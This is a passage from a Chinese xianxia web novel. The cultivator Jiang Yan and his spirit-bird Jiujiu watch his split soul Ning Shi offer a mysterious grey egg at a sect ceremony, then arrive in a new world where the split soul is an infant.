“不要总是打扰我,啾!” 江晏便收回了手:“那你到底在想什么,这么出神。” 啾啾仰起头看着他:“这件事说来复杂……我记得我和你说过,我本体是一个神器的事情吧。” 江晏点点头:“是了,虽然我并不很理解为什么会有你这种造型的神器。” 啾啾奋力挥动翅膀:“不是要说这个!” “我的意思是,我在思考自己破口而出的那颗蛋,到底是什么来历。” 听啾啾这么说,再加上刚才宁时拿走的那件东西……江晏想,自己不可能不想多了。 而啾啾继续说下去: “在我的意识苏醒之前,过了很长一段时间混沌的生活。” “我忘记了从前的事,并不记得自己曾经是哪个神器的残片。” “唯一能记得的是,我曾经被困在小小的一片黑暗当中。” “没有一点光线,我看不到自己的外形。” “被困的那个地方像个壳子。” “我找到了壳子的边缘,努力去推,但是怎么也推不开。” 江晏听到此处,忍不住道:“所以,你是怎么出来的呢?” 啾啾歪歪脑袋:“实话说……你当时渡劫出事之后,我才从那一片黑暗当中出来。” “在那黑暗中时,我的意识是朦胧而有限的。” “而当我来到这个世界时,我的神智突然变得清明。” “我知道了自己现在的外形是一只鸟,”啾啾再次看了一眼江晏,“而且,我也莫名其妙地知道,我的任务就是——陪着你经历各种小世界来温养神魂,最终解决掉分魂不稳这件事。” 江晏:…… 他想了想,道:“你是当初白掌门给我的保命法宝之一,很可能就是当时他用的什么法术,来确保你的目标就是我。” 啾啾却摇了摇头:“不是的,这不是法术的作用。” “那是一种类似灵魂的力量。” 江晏最近简直对“灵魂”这两个字敏感到不能再敏感了,听到这里,他忍不住了:“你的意思是……你总不会和分魂有关吧。” 啾啾:“……没准呢,我可是还记得,当时我在曲洲你身边刚醒过来时,我身边可是一片的碎蛋壳。” 江晏:? 事情有点不对劲了,他犹疑道:“如果是普通的蛋壳,你应该不会专门和我说这件事的。” 啾啾点头:“是啊。” “我就是很想说,你刚刚任由分魂拿走的、那个把你们一起撞飞了的灰色鸟蛋,长得和我刚破壳时的残片一样!” 江晏喃喃道:“……这都是什么玩意。” 说罢,沉默了片刻,在脑海中慢慢捋顺了此间关系,又道:“所以你的意思是——” “宁时在云山幻境里拿走的这一颗蛋,经过辗转,到了白师兄掌门的手中,接着又到了我手里。” 江晏用手指点了点啾啾的脑袋,“最后,我们就这样相遇了?” 他这番推理也正是啾啾想说的,于是他手中毛茸茸的脑袋上上下下动了动。 江晏顺手捋了一把鸟毛:“事情如果是这样的话,那也挺有意思的。” 啾啾:“啾?” 眼前的视线愈发摇晃,空间波动愈发激荡。 江晏的意识体却气定神闲:“从这个角度讲,有非常大的概率,我这位分魂,会以另一个身份,和合江宗有接触。” “他这个身份,有可能还并不简单。” “以至于能和掌门产生一些关联……欸?” 江晏想到了什么,尾音微微上扬起来。 啾啾趴在他头顶,催促着:“快说啊。” 江晏嘴角抽动:“由于生活的时间有些久,以至于我差点忘了这回事” “胜意门门主,确实是来过合江宗的……” 下一阶段的回溯时光倒流而来,湮没了他未尽的话,和啾啾的叽叽喳喳。 …… 摇晃的视野逐渐一点点清晰起来。 江晏的意识体几乎是迫不及待地瞪大了双眼,顺着现在所附在的身体主人身上,观察着周围的环境。 眼前是宗门中熟悉的大殿,金碧辉煌,高挑的屋顶足足有数十丈高。 而他这具身体穿着一身锦绣衣袍,端端坐于大殿下方宾客的行列之中。 他面前的一张单人木方几上,竖着一个小小的名牌。 这名牌,他前后左右的宾客几上也都有,只是上面显示的内容并不一样。 有飞霞苑苍揽月、古曲宗弄桃、道真宗墨书雪…… 而他面前的这块木牌,上面写了几个字: 胜意门,宁时。 ……江晏的一颗心,彻底放回了肚子里。 不出他所料,说什么就来什么,眼前的画面,正是他在这段回溯之前,和啾啾说过的—— 胜意门的人第一次,也是直到他渡劫失败时唯一一次,出现在合江宗里。 江晏想,原来这次宁时也来了啊。 可惜自己从前竟从来没有发现。 …… 江晏依然还记得,这是合江宗里难得的 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按照合江宗的规矩,宗主和峰主都是轮流当的。 一任一般会主事数千年左右,时间到了,就会让贤给其他候选人,然后自己退位成为长老。 同时等待漫长的时间过后,下一轮宗主或峰主的位置留给自己。 当然,由于修真界已经许久未能有人飞升,很多合江宗修为极高的修士也面临寿数将近的问题,所以所谓的轮流当值,在实际操作上,可能也就是每人当值一次。 但合江宗的宗主更换,这终归是一件大事,因此此地来了不少门派有头有脸的人物。 江晏顺这身体的视线四下看去——粗略一扫,宾客席上的门派数量估计是过百了。 更不用提每个门派来了还不止一个人,这场面真是极为气派。 当然,人来的多,另一个问题也就会随之而来: 人影叠着人影,若是坐的角度比较寸,那可能一场盛典下来,都不一定能看清自己前方被挡住的人的后脑勺。 江晏的意识体摸了摸下巴——他严重怀疑,自己当年对胜意门没什么印象,就是因为这个原因。 此时此刻,宁时这身体又抬起了头。 江晏下意识地顺着他的视线看去。 ……果然。 江晏悲愤地想——这座位究竟是怎么安排的!他从宁时这里向大殿主位的方向望过去,竟是只能看得到自己攻玉剑剑柄上的红宝石! 只有当宁时微微侧身,才能窥见他的脸。 哦,而且还是侧脸。 他脸侧有一缕碎发,说话间,便随着他的动作微微摇动着,看上去很是柔软。 而他的发型依旧是和上次一样,戴着发冠束起一部分头发,其余的则是披下,和红色发带缠绕。 新任的江峰主,在这次宴席上话并不算很多,坐姿非常端正。 指望着他主动出现在宁时的视线里是不可能的了。 江晏的意识体感觉自己眼皮跳了跳——他看到,宁时用双手扶住了面前案几的两边。 并以一种极为缓慢的速度,连人带物,同步向另一侧没有什么遮挡的位置悄无声息地移过去。 123. 对酌 江晏无言以对,他只是静默地看着,看着宁时整个人向左侧微微移了一段距离。 这样,就没什么东西可以阻碍他的视线了。 宁时的目光直直地投到了大殿上,投到坐于案几前的剑修身上。 ……只可惜,剑修的目光没有落在他身上。 此时,剑修面前站了一位修士,两人正在说这话。 隔着时空,目睹了一切的江晏:…… 他能感觉得到,宁时刚才还微微扬起的嘴角,现在已经开始往下耷拉了。 江晏没想到他居然会对自己如此上心,于是就连思绪也被分魂带走了——他看在眼前大殿上的一幕幕,开始回忆。 ……当年,站在自己面前的这个人到底是谁? 自己又和多少个宗门的修士交谈过? 其中,又有没有宁时这个胜意门的门主? ……这段记忆并不算非常遥远,但由于同时出现的人太多,江晏在自己的记忆中搜寻了一阵后,感觉好像每个宗门的来客都和自己说过话。 江晏真的很想叹气: 照这个趋势,宁时如果想和自己说上几句话,可能是要等上一段时间了。 而他耷拉下来的嘴角,也会在相当长的一段时间里,是无法再向上扬起了。 事实确实如此。 大殿上,自己身体面前的宾客换了一波又一波。 剑修举杯相迎,脸上挂着妥帖的微笑。 广华殿顶上珠宝发出的光芒,与从殿外透进来的日光齐齐照在他脸上,愈发衬得他面如冠玉。 剑修在这种场合上,气质比和宿敌相见时更加温和。 是一种很难让人产生什么不喜情绪的温和。 …… 至此,修真界谈起合江宗修亭峰的江峰主,都会称赞一句君子如玉。 广华殿中,觥筹交错,众人言笑晏晏。 此时换了一具身体,又换了一个视角,江晏发现,摆在宁时面前的那一桌精致的饭菜,他却几乎没有怎么动筷子。 江晏:…… 他感受了一下分魂的表情——是一个面无表情但还要绷住嘴角以避免发生做出苦大仇深神态的动作。 ……自己怎么以前没有发现,分魂内心的活动这么多呢。江晏无奈地想。 他顺着宁时的视线,看向殿上。 此时,第一波前来祝贺的宾客渐渐散去了。 剑修得了空闲,低下头夹了两口菜。 宁时能看到,剑修吃的是青笋炒百合。 他想了想,便低下头来,看了看自己面前还没有被动过的那份绿绿白白的菜,伸出筷子,夹起一箸送入口中。 江晏:…… 他忍不住了,对啾啾说:“他为什么要学我吃东西?” 啾啾和他一起注视着宁时:“因为他喜欢你。” 江晏:? 他现在拍啾啾的脑袋已经非常顺手了,此时更是毫不犹豫给了小鸟一下: “别开玩笑了,这个时间线上,我们才见了几次面?” “而且一见面就打架,怎么可能。” 啾啾报他以一啄:“那你也可别忘了,你们两个,是怎么从云山幻境里面出来的。” 这句话杀伤力极大,江晏一时间被噎住了,硬是没再吐出一个字。 他只是默默扭头,继续看着宁时这具身体吃东西。 ……然后发现,好家伙,这分魂是完全看着剑修。 剑修吃面前的什么菜,他也吃。 剑修举杯饮茶,他也喝。 江晏:…… 他看了一会儿,感觉自己要起鸡皮疙瘩了。 …… 此时聚在广华殿里的修士,修为都不算低,自然全部都是已经辟谷了的。 但修士也是人,从前几十年的习惯并不是能轻易改变的,许多大能依旧保留着吃饭的习惯。 因此,合江宗才为这场盛事准备了餐食,但量比凡人间要少,并且所用的食材也蕴含了灵力。 修士们食用起来,并不怎么费时间。 过了片刻,宾客面前的餐具空了七七八八,用餐几乎接近了尾声。 宁时知道,再过上片刻,就到了下一个环节——那是各个宗门为表祝贺,向合江宗新任掌门白一苇赠礼的环节了。 到了那时,在场的修士就不能像现在一样,能随意来来回回走动了。 宁时心思动了动,抬眼再次看向已经成为了峰主的剑修。 剑修已经放下了筷子,整个人腰杆笔直地靠在椅背上——宁时也不知道,为什么对方会把这个应该有几分懒散的动作,却作出了一番沉静的模样。 但他却知道,这是一个上前和对方交谈,吸引对方注意力的好时机。 于是他在原地踌躇片刻后,起身来向殿上走去。 ……这里的宾客实在是太多了,剑修没有注意到他这边的动静,依旧是靠在椅子背上,看着虚空中不知某处。 宁时在人群中,拾级而上。 他微微抬起头,看着广华殿顶上一圈又一圈的红宝石黄宝石,折射出闪闪亮光。 他有些头晕目眩了,但脚下步子不停,几乎是在用本能走着。 宁时又前行了几步,终于是来到了剑修面前。 于是剑修落在虚空中某处的视线,被突如其来出现的人影隔断了。 剑修抬起头来,看着站在自己面前的这个人。 对方身材高挑,面容俊秀,鸦羽一般眉下,是漆黑又亮如点星的双目。 他穿着一身黑色华服,衣服上隐约可以看到金线绣出的底纹,愈发衬得人矜贵了。 剑修站起身,对来人举杯:“合江宗江晏,修亭峰峰主。” 他面前黑衣华服的男子微微颔首:“胜意门,宁时。” 说罢,从侍者端来的案上也取了一杯酒,与剑修相碰。 二人仰头,同时饮下。 这是宁时第一次尝到合江宗的酒。 是那种非常好入口的小甜酒,和他们天下第一且盛产剑修的宗门的形象不大相符。 但这酒却实在好喝。 带着植物的清甜,也许是竹叶,也许是桃花。 宁时望着眼前的剑修。 他此时正在仰头饮酒,微微闭着眼。 只留给宁时一截雪白的脖颈,和端着酒杯时,骨节微微突出的手腕。 宁时不知是怎么回事,他感觉自己的目光,一时间竟是移不开了。 那雪白的喉咙滚了滚,是剑修饮尽了这杯酒。 他放下手,睁开眼看着宁时,一面对他晃了晃手中的酒杯,展示着空空的杯底。 酒 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相顾无言。 他只是看着剑修的眉眼。 剑修看起来在这场庆典中有些疲惫了,没有在意到他有些肆意的目光。 忽而有一道浑厚的钟声响起,声音穿透了整个广华殿,连绵不绝。 众人为之一振——这预示着庆典的下一个环节开始了。 那就是在场的各个门派,向合江宗献礼。 宁时无意识地皱了皱眉,但还是平静转身下台,回到了自己的座位上候着。 这献礼的顺序是已经排列好的,胜意门的位置在中间,他只需要等待便是。 已经被点到名字的宗门,到来的修士手持礼盒,将其献给坐在广华殿殿中主位上的白一苇。 宁时看着。 这些宗门的献礼,各不相同。 有送上宝器的,也有送丹药的,甚至还有的宗门送了些奇珍异兽。 宁时用衣袖掩面,悄悄打了一个哈欠——这些东西虽然罕见,但却不如那位江峰主更吸引他。 宁时便偏过脑袋,掠过一众鱼贯上前的各门派修士,将视线移到已经荣升峰主的剑修身上。 剑修以手支颐,正在认认真真地看着他的师兄和那堆修士。 竟是连一个眼神也没有分到台下。 宁时依旧不死心,他眼巴巴地望着剑修,看他看了起码有一柱香的时间。 但对方居然真的从未向他这里看过来。 宁时:…… 他有些烦躁了。 但所幸的是,随着时间的推移,献礼队伍中,排在胜意门前的门派逐渐减少。 很快,宁时听到了负责主持庆典的修士点到了胜意门的名字。 他知道,这是自己带着那个宝贝上台的时机了。 ……这可真是一个意外获得的宝贝呢。 ……不知剑修见了它,有何反应? 宁时右手食指在储物袋上轻轻一抹,一个放着蒙着红布物体的案几便出现在了他手上: 红布呈现出一个柔和的弧度,完完全全遮挡住了里面的内容。 124. 胜意门献上啾啾蛋 外人自然是看不到托盘上面的东西。 但是附在宁时身上的江晏,能通过对方手上的动作,大概感知出来了这是一个什么东西。 ……硬硬的,凉凉的。 他心中莫名生出了几分熟悉感,甚至希望宁时能快些掀开这块布子,露出下面物体的真容。 宁时却没有这样做。 他只是和大殿里其他人一样,规规矩矩地带着自己的东西,又规规矩矩地登上台阶,来到合江宗新任掌门白一苇面前。 白一苇抬头,和宁时对视。 宁时看着他,这位新掌门看起来确实年轻,性格似乎也是和煦的。 一双眼睛看着人,仿佛都带着笑。 是一个很有亲和力的人。 ……但这种亲和力对宁时并没有什么作用。 宁时一看到他这张脸,就想起来自己从前用见行符偷偷看剑修在合江宗生活的日常时,那位总是在乱入的师兄。 ——没错,这位师兄就是现在和宁时面对面白一苇。 宁时对于他从前妨碍了自己看剑修一事,耿耿于怀。 但他也知道这种不满如果说出去,已经是到了好笑的程度——自己仿佛是一个无理取闹的幼童。 宁时深吸了一口气:自己现在已经是门主了,门主就要有门主的气度。 不能随便与他人置气。 ……但还是好羡慕啊。宁时想。 羡慕白一苇能有剑修这么好的一个好师弟,这可真是走运。 宁时的心思千回百转,但面上滴水不漏。 他保持着得体的微笑,对着合江宗的掌门,揭开了那块红布。 一时间,他自己和白掌门的视线,都聚在了红布下面露出真容的物体上。 那是一颗圆滚滚的……蛋。 这颗蛋颜色发灰,大小和成年男性的拳头差不多大。 江晏的意识体也热热闹闹地同二人一起看着,片刻后,突然反应过来—— 这可不就是当年在云山幻境中,自己让给宁时的那一颗来历不明的蛋嘛! 只是不知为何,现在的宁时,居然把它作为了献礼。 而此时的白一苇,明显有着和他一样的疑惑。 白一苇用手指点了点这颗蛋,又用眼神示意宁时,示意他说一说此物的来历。 但宁时此刻并没有接到这个眼神。 他的目光越过白一苇身后,微微斜着,在后面一排又一排的矮桌后,准确捕捉到了剑修的身影。 宁时眼巴巴望着剑修,期待对方能往自己这边多看上两眼——毕竟,现在自己所献上的东西,剑修应该是非常熟悉的。 宁时想,对方如果真认出来了这是云山幻境里的那颗蛋,又会是什么反应呢? 他会不会好奇,会不会主动从殿上走下来,走到自己面前说话,来询问自己手中东西的来历? ……如果剑修真的被吸引过来,那就更好了。 自己一定会同他好好说一说,是如何发现这颗蛋的不同的。 并告诉他这蛋的真实身份,看能不能把剑修唬住。 ——等到他满脸惊讶时,再把蛋的作用告诉他…… 宁时美滋滋的想着,但理想和现实毕竟是有差距的。 就像他没有在意到白一苇的眼神一样,剑修也并没有注意到他站着的这么大一个人。 剑修只是虚着眼,似乎在思考什么问题,一副神游天外的模样。 宁时:…… 很好,自己简直是媚眼抛给瞎子看。 …… 明亮的声音响起,打破了宁时的思绪。 他低下头来,看到了白一苇的嘴巴在一张一合——是了,他刚刚只顾着观察剑修,差点还忘了面前有这么大一个掌门。 宁时回过神来,于是耳边白掌门的声音更加清晰了,他说: “道友可否为白某介绍一下此物?” 宁时点点头,本来张口欲言,却又忍不住瞄了一眼剑修。 只见剑修确实是风姿俊逸,见之心仪。 结果这下可好,宁时准备好的话在嘴里拐了个弯,说出口的竟然是: “白掌门,此物是我想赠给修亭峰峰主江晏的。” 宁时说完,自己先愣了,随后有些耳热——不是因为说错话了而尴尬,却是因为其他一些不知名的原因。 白一苇同样也是愣住了,但掌门毕竟是掌门,很快就反应过来。 他看着宁时笑道:“好啊,好啊,我们江弟也是有朋友了——你们两个从前认识?” 宁时摇摇头,又飞快地往剑修方向扫了一眼,收回视线,对白一苇道: “从前不认识,只是见之难忘……还请掌门不要告诉江峰主。” 白一苇不以为意道:“那是你们两个的事,我告诉他干嘛。” “说起来,我真的很高兴小江能多一些朋友。” “而且……你刚才说的也并不算错。” “我这个师弟人是极好的,有什么好东西,我自然是要紧着给他。” “本来就打算从今天的东西里给他挑一些,却不料到了你这里,竟是和我想到一处去了——真是妙极!” 宁时:…… 行吧,白一苇比他想象中的要心大,事情看起来并不麻烦。 但一码归一码,白一苇同时也是一个好奇的人。 所以,宁时和他这段在尴尬边缘反复游走的对话,并没能结束。 白一苇指着这一颗蛋,问道:“那么,此物到底有什么特别之处呢?” 这可算是问到的点上。 虽然此时宁时不能对着剑修来解释这个问题,但对白一苇解释,也能在某种程度上满足他的表达欲。 宁时想了想,开口道:“这件事就比较有意思了。” “想来掌门也是听说过,上古神器这件事吧。” 白一苇点头,目光再次落到这蛋上,神情变幻。 宁时缓缓道:“这颗蛋,是我意外得来的。” “我把他带回胜意门后,用灵力探测了一番。” “本来是好奇是哪种神兽的蛋,却不料,竟是一点都没有探测出有生命存在的迹象。” “我曾尝试过砸开它。” 白一苇听到这儿,嘴角抽了抽,忍不住道:“门主真是性情中人。” 宁时笑着摆手:“只是想试一试罢了。” “却没有想到,这颗蛋堪称刀枪不入,就算是在使用灵力的情况下,也难以在表面留下一点痕迹。” 白一苇渐渐正色了。 宁时:“此事非同寻常,我查阅了很多古籍,甚至还探访了一些高人 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“它会被残片同化,最后形成另一个独立的、同时具有断水剑特质的宝器。” 宁时说完了,指了指案中的这颗蛋,看向白一苇。 白一苇却微微皱眉了:“……那照你刚才这么说,此物能入梦,可能对我的师弟有危险。” 宁时摇头:“这是不会的。” “我和此物共处一室,时间已经很长了。” “能感到修为在精进,灵力涌流。” 白一苇静默片刻,最终还是点了点头,收下了这东西: “好的,那就多谢胜意门门主了。” 宁时便退了下去。 只是在他转身时,用余光能看到,白一苇并没有直接把这颗蛋递给剑修。 而是自己坐在原地思考了一会儿,用储物戒指收了起来。 宁时并没有太在意这件事: 看这架势,白一苇是要自己检查一遍,确定东西没有问题之后,才会交给剑修的。 这是多么认真负责的掌门啊! 宁时隐约感到了一丝满意,稍稍打破了他因没有获得剑修的注意力而显得沮丧的心情。 他坐回自己的位置,继续看广华殿中一派歌舞升平。 …… 而在他的意识海中,江晏和啾啾都不能平静了。 其中以啾啾最为激动,它扑腾着翅膀:“我有感觉!那就是我的蛋!” 江晏:…… 他看看啾啾,又看看那灰色的蛋。 然后发现,这二者的颜色,确实是有一些……相似的。 啾啾似乎看出了他的怀疑,怒道: “别不信了!” “我们已经不属于普通灵兽的范畴了,能感知到自己的来历有什么难的吗?” 江晏只得点点头。 然后开始在原地消化这么巨大的一个事实: 分魂曾经在很久很久之前,把啾啾赠送给自己。 而在很久很久之后,啾啾又带着自己,去把分魂的碎片一片一片收集起来,拼好,稳固。 并最终达成“我救我自己”的成就。 125. 竹马缘起 这场宴席直到最后结束的时候,宁时依旧没有和殿上那位江峰主产生什么交集。 旁观了所有的江晏:…… 他可算是明白了。 这也怪不得自己在最初去第一个小世界时,对胜意门门主毫无印象。 ——合着这些年里,分魂啥事也不干,就偷偷摸摸的窝在角落里,在自己看不到他的地方,注视着自己的一举一动。 也不站出来,走到自己面前,说出两个人灵魂的真相。 ……好像他那一张嘴是摆设似的。 江晏想,这其实听起来有点变态。 分魂明明是一个大活人,却阴魂不散地缠着自己。 如果对方是其他什么人,就完全成为了一种令人毛骨悚然的情况 但这毕竟是分魂。 所以在这种奇怪的行为背后,江晏也能琢磨出一丝特别的味道。 他真的有点想叹气了。 江晏依然记得,在经历第一个小世界时,他对寻找对方、满足对方的心愿充满了不满,认为这是一个大麻烦。 却在不知不觉中,成为了在宁时身后悄悄注视着他的那个人。 回想起很多很多年前,在他还是少年,乃至于还是江峰主的时候,在那个修真界的时空中,分魂就已经跟在他身后了。 分魂的眼睛中,是江晏的大半段人生。 不对,并不只是大半段。 江晏想,分魂是完完全全地,了解着自己的人生。 因为分魂从来没有失忆过。 他幼年的苦痛,少年的意气,青年的得意,全都随着时间刻进了灵魂里。 即使是□□变化,灵魂分离,也是未能磨灭的。 广华殿中,琳琅满目的宝石晕开一团又一团跳动的光。 ——这段时空已经开始不稳定了。 江晏知道,他的灵魂,又要随着啾啾,即将前往下一段时空了。 从前是分魂注视着剑修,现在却倒了了个,变成剑修上天入地寻找分魂了。 江晏有点想笑了。 他想,如果分魂此时出现在面前,自己可能忍不住拉住他的衣袖,告诉他,不要再让他的灵魂碎片到处乱飘了。 自己在一段段时空里这么把对方捡起来拼好,是很辛苦的。 ……广华殿中光芒大盛,是已经看不见里面景象的程度了。 江晏只觉得自己的意识被一股力量从现在这具身体上拔起来,随后在涡流中滚荡。 他晕晕的,在朦胧中续上自己刚才的思路: 分魂的事,虽然辛苦,但辛苦就辛苦一点吧。 每一次自己和分魂分离后,继续去下一个时空处理分魂的另一段麻烦事,说到底,自己也是距离同他相见更近了一步。 事已至此,江晏漫无目的地看着眼前旋转的各色光芒,扪心自问——他现在已经不知道自己前往每一个小世界的目的了。 最初,他还只是说要解决掉分魂不稳的问题,以巩固自己修为,成功渡劫。 但现在,江晏意识到,自己已经很久很久没有过这个想法了。 他现在所想的,却是当自己经历重重小世界后,回到原世界里,分魂会怎么样呢? 他还是会披着一张胜意门门主或者是黑衣人的皮,偷偷看着自己的背影吗? 还是会冲到修亭峰上,与自己坦诚相待? 江晏不知道。 他想,分魂无论怎么做,都没有关系的。 因为等待自己回来的那一天,势必要提着攻玉剑,来到分魂面前,用武力或者言语,扒下他一层又一层活像笋子一样的假面。 然后逼着他说“我们永远会在一起”。 毕竟,世界上不会有像他们一样更亲密的两个人了。 …… 这熟悉的晕眩感渐渐消失了。 他的灵魂似乎依附在了什么东西上。 一回生,二回熟,江晏已经失去了最初穿越时空的紧张感。 他的意识体闭着眼睛,一边平复着穿越带来的头昏脑胀,一边对啾啾道: “这次的情况怎么样?” “我又来到了哪个时间段的分魂身上?” 但啾啾却沉默着,很久没有回答他的话。 江晏:? 事情好像有点不对劲了,于是他顶着太阳穴里一跳一跳的疼痛,睁开眼睛来。 也许是还没有适应新身体,他总感觉,眼前的视线有些奇怪。 ……似乎变得更广阔了些。 他大约是在一座私人院落里,周围环境依旧是古色古香。 乍一看,甚至有几分当年何家的感觉。 但又是全然陌生的。 江晏想了想,再次开口问啾啾: “这该不会是胜意门吧?” 他打量着眼前的楼台水榭,点评道:“怎么弄的有点……秀气了?” “我感觉分魂的审美不应该是这个样子啊。” 啾啾终于说话了,带着一丝有气无力:“你可闭嘴少说两句吧。” “在刚才,你就没有感觉到这次穿越的动静,比回溯时的那几次闹腾的更厉害?” 江晏本想点点头,但脑袋有一种说不出来的奇怪,他并没有多加留意,只是顺着啾啾说下去:“是有点呢,我感觉现在浑身都不太舒服。” 啾啾:“……你真心大。” “这已经不是回溯了,我们分明是来到了一个新的小世界。” 江晏:? 他惊讶了:“之前不还在一直回溯着吗,怎么突然就换了一个世界?” 啾啾依旧是踩上了他的脑袋,不知为何,江晏感觉,这一次,小鸟踩得格外顺脚。 啾啾说:“没规律的——但你要往好处想,这说明你的回家之路更进一步了。” 这话说的没错,江晏宽了宽心: 虽然他非常好奇分魂在自己原世界线的事情,但这些都可以等他回去以后再问。 眼下当务之急,还是要把分魂的碎片收集齐,稳固好。 江晏想了想,道:“那我现在所在的小世界,又是什么情况呢?” 刚才已经出现过的沉默,此时再次出现在了啾啾身上。 江晏:…… 事情真的开始不对了。 他定定神:“你直接说吧,这到底是有什么状况?” 啾啾从他头顶上飞下来,无奈道:“你应该还记得,我曾经跟你说过小世界有很多种类吧。” 江晏:“嗯。” 啾啾看了看天,又继续对他说:“那么很不巧,我们现在所处的这个小世界,情况有那么一点……复杂。” 江晏重复着最后这两个字:“复杂?” 啾啾点头:“是了。” “我相信你应该看过话本吧,这个小世界原本是话本中的修真界。” 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虽然这是前所未见的场面,但如果细想下来,自己又何尝不是主角的一员? ——毕竟,世界上能同时有两个灵魂的人,到目前为止他还没有见过第二个。 江晏深吸了一口气,开口:“虽然听起来大家都很厉害。” “……我应该也不简单吧,经历了各种小世界了。” 啾啾听了,上下扫了他一眼:“这倒也是。” “其实你也可以放宽心,因为我能感知到,此时分魂应该距离你现在的身体很近的。” “更重要的是,他是一个普通人。” “没有剧本,没有系统。” 江晏听到这里,似乎明白了什么:“所以,他并不受什么东西的控制。” “他是一个自由的人。” 啾啾点头。 江晏心情突然变得轻快了些,他几乎是忍不住想去见一见宁时了。 他问啾啾:“那你能感受到,分魂在哪里吗?” 啾啾用翅膀指了一个方向。 江晏看去,那正是庭院里的一处院落,不大不小。 此时,院子没什么人,透着半开的窗户,才能看到几个侍女的身影。 侍女们走来走去,似乎围绕着什么东西。 片刻后,一位珠光宝气的妇人向她们走了过来。 江晏看看啾啾,再看向窗子里的画面,语气突然就虚了:“……里面为什么都是女孩子。” “分魂……不会要变成女孩子了吧?” 啾啾:…… 它用力拍打着剑修的头,怒道:“不是这个!你再看看!” 江晏舒了一口气,没有同小鸟计较,而是扭头看去。 那贵妇人弯下腰来,从窗户下看不见的角度,抱出了什么东西。 随着她手臂逐渐抬高,江晏终于看清了—— 那哪里是什么“东西”,分明是一个裹着锦被、一岁左右的婴孩! 粉粉白白,煞是可爱。 啾啾的声音从江晏耳边传来:“放心吧,你的分魂是个小男孩。” “对,就是她们手里抱着的这个。” 126. 桃之夭夭 一窗之隔,江晏看到这小小的婴孩笑着。 他伸出短短的两根胳膊,够到了正在抱着他的贵妇人的发丝。 贵妇人就也笑了。 她轻轻摇了摇头,于是那还没来得及被抓紧的碎发就从婴孩手里滑走了。 婴孩愣了愣,随后瘪瘪嘴,一张小脸皱在了一起,然后张大嘴巴,“嗷”地一声哭了出来。 贵妇人:…… 她看起来并不善于应对这场面,秀气的眉毛微微蹙起来。 还好她身边的侍女都很有眼力见,从主子手中稳稳当当接过了婴孩,放在臂弯里轻轻摇晃着。 贵妇人舒了一口气。 她轻移莲步,走到怀抱婴孩的侍女身边,柔声细语地哄着。 她的声音很好听,软绵绵的,像一场仲夏的梦。 在侍女怀中,以及妇人温和的声音中,婴孩终于是安静下来——他又睡着了。 这处院落恢复了安静。 侍女们小心翼翼地弯下腰,把婴孩放在摇篮中。 贵妇人也转身,坐在了另一侧的靠椅上,闭目养神。 这是一个普通的夏天,昼长夜短,高树鸣蝉。 江晏看着,只觉得自己整个人也跟着一起渐渐平静下来。 在从前各个小世界中的焦虑,忧伤,一时间都散去了不少。 于是他语气也带了几分懒洋洋,问啾啾:“这么一个小崽子,就是我的分魂?” 啾啾:“嗯。” 江晏想了想,有道:“他现在是什么身份?” “我看这一家人,应该还算有些底蕴的。” 啾啾跳回了他的头顶:“啾,这次分魂的运气还算不错。” “他此时的身份,是修真界悬水宫宫主家的长公子。” 江晏:“……悬水宫?” 啾啾解释:“是一个门派,虽然算不得顶尖的,但至少也是大宗门里的二流。” 江晏的意识体点头:“那也不错,至少能让我少操点心。” ——毕竟,他再也不想看到,像原世界里的宁时,从零开始白手起家的情形了。 于是江晏又问:“那悬水宫情况如何?” 啾啾道:“其实这没什么可说的。” “按照现在这个时间线,分魂的母亲是悬水宫的现任宫主,宁白珠。” “父亲则是林成。” 听到此处,江晏忍不住叹了一声:“那这么讲,悬水宫……是传女不传男的?” 啾啾点头。 江晏道:“也挺好,分魂长大了,当一个闲人……欸?” 他想到了什么,又道:“可是按悬水宫这个情况,宁时会有一些弟弟妹妹的吧?” 啾啾扑棱了一下:“对,时间线显示,在几年之后,宁时会有一个妹妹。” “叫做宁希。” 江晏“哦”了一声。 有暖洋洋的风吹过整个院落,拂过他的发丝,带着熏熏然的安逸。 江晏突然说:“看起来,这个小世界可真舒服啊。” “和第一个小世界比,他有了爱自己的亲人。” “和原来的世界比,他又可以活得轻松一些。” “真好,即使是在这个特殊的世界里,也不会受到主角剧本的限制。” …… 在他的头顶上,传来啾啾的声音:“我对你所说的表示赞同。” “但是,有一件事情我不得不提醒你。” 江晏:? 啾啾继续:“我只是说,分魂在这个世界不是主角,没有主角剧本。” “但是……他身边的人,是有主角的。” 江晏精神为之一振! 这件事可大可小,如果是分魂身边不太重要的人,那可能对分魂没什么影响。 可如果是他生命中很重要的人……江晏几乎可以预料得到,分魂的心愿,极有可能与他身边的这个主角挂钩。 “所以,他身边的主角是谁?”江晏还是问出了口。 啾啾依然在他头顶蹦蹦跳跳:“啾,就是他那个未来的妹妹,宁希。” 江晏沉默了一下,道:“由于刚来到这个世界的时候,你给我列举的主角剧本实在是太多了,导致我并没有记全……” 他深吸一口气,下定决心:“所以,我打算问一下,宁希拿的是什么剧本?” 啾啾毫不迟疑,气也不喘地回答: “哦,就是拿着退婚剧本和男二男主纠缠不休的女三。” 江晏:? 不是,这是什么玩意? 男二,男主,还有女三? 这到底是怎样错综复杂的人际关系! 他心情如同支付攻玉剑保养费用一般沮丧,转而又注意到“退婚”两个关键字。 他用意识体戳了戳啾啾:“欸,别的先不谈,先说说这个退婚吧。” “是怎么回事?” 啾啾摊翅:“不知道。” “而且我告诉过你,这个小世界的主角们,在某种程度上已经觉醒了。” “他们的行为模式、人生轨迹,不能仅仅用剧本来衡量了。” 江晏:“……好吧。” 看来现在,他并不能左右什么。 一切只能船到桥头自然直,看情况来了。 江晏再次将目光投向那扇窗。 夏天的中午热浪滚滚,妇人房中却有着隔绝温度的法术。 这样一来,屋子里的温度无论在何时都是宜人的。 ……非常适合睡觉。 就像此时此刻,那一屋子的侍女,以及贵妇人本人,都闭着眼,呼吸变得规律而绵长。 她们都睡着了。 江晏意识到,这是一个绝妙的时机——他可以偷偷摸摸溜过去,看宁时了。 不过此时,一个重要的问题显现出来。 江晏问啾啾:“所以,我在这个世界是什么身份?” “如果贸然进入妇人的房间,会不会挨处罚?” 啾啾:…… 小鸟又诡异地沉默了。 片刻后,在江晏意识体谴责的目光中,啾啾长长“呃”了声,道:“理论上讲,应该没什么问题的。” “但是,”啾啾用一双黑豆眼上上下下扫了一遍江晏现在的身体,“你应该先试试,这句身体的使用情况。” 江晏恍然大悟:“……对哟,刚刚只顾着看分魂,还没来得及检查自己的身体呢。” 但这样想着,刚刚被忽视的一些不那么寻常的细节渐渐浮现在他的脑海。 比如,他现在的视野有些奇怪。 